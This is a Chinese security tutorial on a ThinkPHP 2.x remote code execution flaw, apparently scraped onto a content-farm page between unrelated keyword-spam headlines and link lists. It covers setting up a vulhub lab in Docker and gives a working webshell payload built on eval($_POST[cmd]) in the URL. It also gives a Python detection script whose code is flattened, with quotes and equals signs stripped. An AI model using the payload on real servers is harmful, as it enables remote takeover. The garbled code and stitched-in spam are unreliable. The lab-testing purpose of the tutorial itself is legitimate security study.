当前位置: 首页 > news >正文

做落地页素材在什么网站上找页面跳转的方法

做落地页素材在什么网站上找,页面跳转的方法,成都专门做网络推广的公司,网站开发有什么点子Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞#xff08;六十三#xff09; PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计#xff0c;以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言#xff0c;广泛用于开发网站和Web应用程序。由…Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞六十三 PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言广泛用于开发网站和Web应用程序。由于其开源性质和易于学习的特点许多开发人员使用PHP来构建他们的网站和应用。 然而不可否认的是PHP应用程序也存在着安全风险。由于PHP的灵活性和易用性开发人员可能会犯一些常见的安全错误如注入攻击、跨站脚本攻击XSS、跨站请求伪造CSRF等。 PHP代码审计的目的是识别和修复这些安全漏洞以确保应用程序的安全性。通过审计代码可以发现潜在的漏洞如未经验证的用户输入、不正确的权限控制、不安全的数据库查询等。 在进行PHP代码审计时审计人员通常会使用一些工具和技术来辅助他们的工作。这包括静态代码分析工具、动态代码分析工具、漏洞扫描器等。此外审计人员还需要具备一定的安全知识和编程经验以便能够理解和分析代码中的潜在漏洞。 总之PHP代码审计是一项重要的安全工作可以帮助开发人员识别和修复潜在的安全漏洞以保护应用程序和用户的数据安全。 漏洞环境搭建 这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装 安装 docker #更新软件 apt-get update #安装CA证书 apt-get install -y apt-transport-https ca-certificates #安装docker apt install docker.io #查看docker是否安装成功 docker -v #启动docker systemctl start docker #显示docker信息 docker ps -a如上图所示我们已经成功安装好了docker 安装pip和docker-compose #安装pip apt-get install python3-pip #安装docker-compose apt install docker-compose #查看版本是否安装成功 docker-compose -v如上图所示我们已经成功安装好了pip和docker-compose 安装vnlhub #安装vnlhub git clone https://github.com/vulhub/vulhub.git将docker换成国内源 #更改源 vim /etc/docker/daemon.json #加入以下内容 {registry-mirrors: [https://dockerproxy.com,https://hub-mirror.c.163.com,https://mirror.baidubce.com,https://ccr.ccs.tencentyun.com] }#重启docker systemctl restart docker #查看信息出现图中配置的信息即为成功 docker info使用vulhub靶场 进入你想试验靶场的位置cd vulhub/目录名可以用ls查看漏洞靶场 比如我们想进入 ThinkPHP漏洞环境可以 cd ThinkPHP然后通过 ls 查看可以搭建的靶场目前 vulhub关于 ThinkPHP漏洞 可以搭建的靶场有五个 我们拿 2-rce 漏洞举例如果我们想要安装 2-rce 漏洞环境可以 cd 到 2-rce 然后输入以下命令启动靶场环境 docker-compose up -d输入以下的命令可以查看当前启动的靶场环境 docker-compose ps若不需要使用该靶场的时候可以输入以下的命令移除环境 docker-compose down最后我们输入http://localhost:8080 就能访问该靶场环境 ThinkPHP 2.x 任意代码执行漏洞原理 ThinkPHP是一个开源的PHP开发框架该框架存在代码执行漏洞漏洞产生的原因是因为ThinkPHP在处理URL参数时没有对参数进行充分的过滤和验证导致攻击者可以构造恶意的URL参数从而执行任意代码。 具体原理如下 攻击者构造恶意的URL参数例如在GET请求的参数中添加PHP代码。 ThinkPHP框架对URL参数进行处理时会通过parseRequest方法解析URL获取控制器和操作方法等信息。 在解析URL参数时框架会使用eval函数将参数中的代码进行执行从而实现代码执行的功能。 攻击者构造的恶意URL参数中的代码会被eval函数执行从而导致任意代码执行漏洞的产生。 在ThinkPHP 2.x 版本里面 preg_relace的/e来匹配这个路由导致用户输入参数被插入了双引号中造成了任意代码执行。其POC如下所示/?s/Index/index/xxx/${print(eval($_POST[cmd]))} 现在我们构造如下的URLhttp://localhost:8080/?s/Index/index/xxx/${var_dump(md5(123))},将会爆出如下的那么一串数字这一步就是我们用python写检测ThinkPHP 2.x 任意代码执行漏洞的POC的关键。 这里爆出的数字是由MD5经过32位[小]加密的数字123 ThinkPHP 2.x 任意代码执行漏洞复现POC 接下来我们拥python写检测ThinkPHP 2.x 任意代码执行漏洞的POC代码内容如下 #!/usr/bin/env pythonimport requests from urllib.parse import urljoin from bs4 import BeautifulSoupdef thinkphp2_rce(url):payload ?s/index/index/xxx/${var_dump(md5(handsomewuyue))}url urljoin(url, payload)response requests.get(urlurl) # 这里的31664625b85cc0cf91406a4e028ede29是由handsomewuyue字符经过32位[小]MD5加密得到的数字用户可根据自己在实际过程中构造的POC进行自定义更改if 31664625b85cc0cf91406a4e028ede29 in response.text:print(漏洞存在)else:print(漏洞不存在) if __name__ __main__:url http://localhost:8080/thinkphp2_rce(url)注意判断漏洞是否存在的MD5加密数据是根据我们所构造的POC中所发送的字符绝定的这里的31664625b85cc0cf91406a4e028ede29是由我们所构造的payload?s/index/index/xxx/${var_dump(md5(handsomewuyue))}中的handsomewuyue字符经过32位[小]MD5加密得到的数字用户可根据自己在实际过程中构造的POC进行自定义更改 POC代码详细分析 这段代码是一个用于检测ThinkPHP 2.x版本存在远程命令执行Remote Code Execution漏洞的脚本。下面是代码的分析 导入所需的库 requests: 用于向服务器发送HTTP请求和接收响应。 urljoin: 用于将相对URL转换为绝对URL。 BeautifulSoup: 用于解析HTML响应。 定义一个名为thinkphp2_rce的函数该函数接收一个url参数。 在函数内部定义一个payload字符串其中包含一个特定的URL路径?s/index/index/xxx/${var_dump(md5(handsome xuanyue))}。这个payload是用来构造恶意请求的。 使用urljoin函数将payload与传入的URL拼接在一起得到最终的URL。 使用requests库发送GET请求将最终的URL作为请求目标。 如果响应文本中包含特定的MD5哈希值31664625b85cc0cf91406a4e028ede29则打印漏洞存在否则打印漏洞不存在。 在if __name__ __main__:部分定义了一个默认的URL变量url http://localhost:8080/然后调用thinkphp2_rce函数并传递这个URL作为参数。这是为了在直接运行脚本时进行测试可以根据实际情况修改URL。 运行效果图 如下是我们这串代码的实际运行效果图
http://www.hkea.cn/news/14563292/

相关文章:

  • 完整的网站后台权限编码深圳市做网站有哪些公司
  • 中投建设集团有限公司 网站运城seo
  • 给别人做网站怎么赚钱吗长沙外贸建站哪里好
  • 订阅号上链接的网站怎么做的dw做旅游网站毕业设计模板下载
  • 现在做个网站大概多少钱动态域名免费申请
  • 网站备案查询是什么意思成都装饰网站建设
  • 网站管理系统后台创建自己网站
  • 黄江建设网站seo排名赚app最新版本
  • 佛山做企业网站的公司竞价网站做推广方案
  • 昆明建网站公司常州公司网站建设多少钱
  • 中贤建设集团网站会议网站
  • 做网站需要买服务器接入备案和增加网站
  • 网站推广 公司网站开发 seo
  • 哈尔滨餐饮网站建设推广app平台有哪些
  • 龙岗高端网站设计专家福州+网站开发
  • 佛山网站建设公司价格供需平台类网站建设
  • 定制网站建设报价单网站首次打开速度慢wordpress
  • 做网站h5京东网站建设流程
  • 下载了模板如何做网站企业网站界面
  • 做华为网站的还有哪些功能网站建设对企业经营
  • 摄影师个人网站模板网页制作工具按其制作方式有
  • 网站修改 iis6应用程序池科技厅
  • 网站logo下载丹东淘宝做网站
  • 做外包网站的公司是怎样的企业品牌vi设计公司
  • 小学网站logo怎么做网站一年要多少钱
  • 网站建设首选亿企联盟大学生可以做的网站项目
  • 遵义企业做网站wordpress固定链接设置自定义结构
  • 制作网站在哪里网站做产品的审核
  • 佛山做网站格免费服务器推荐
  • 权威的网站建设网页前端设计流程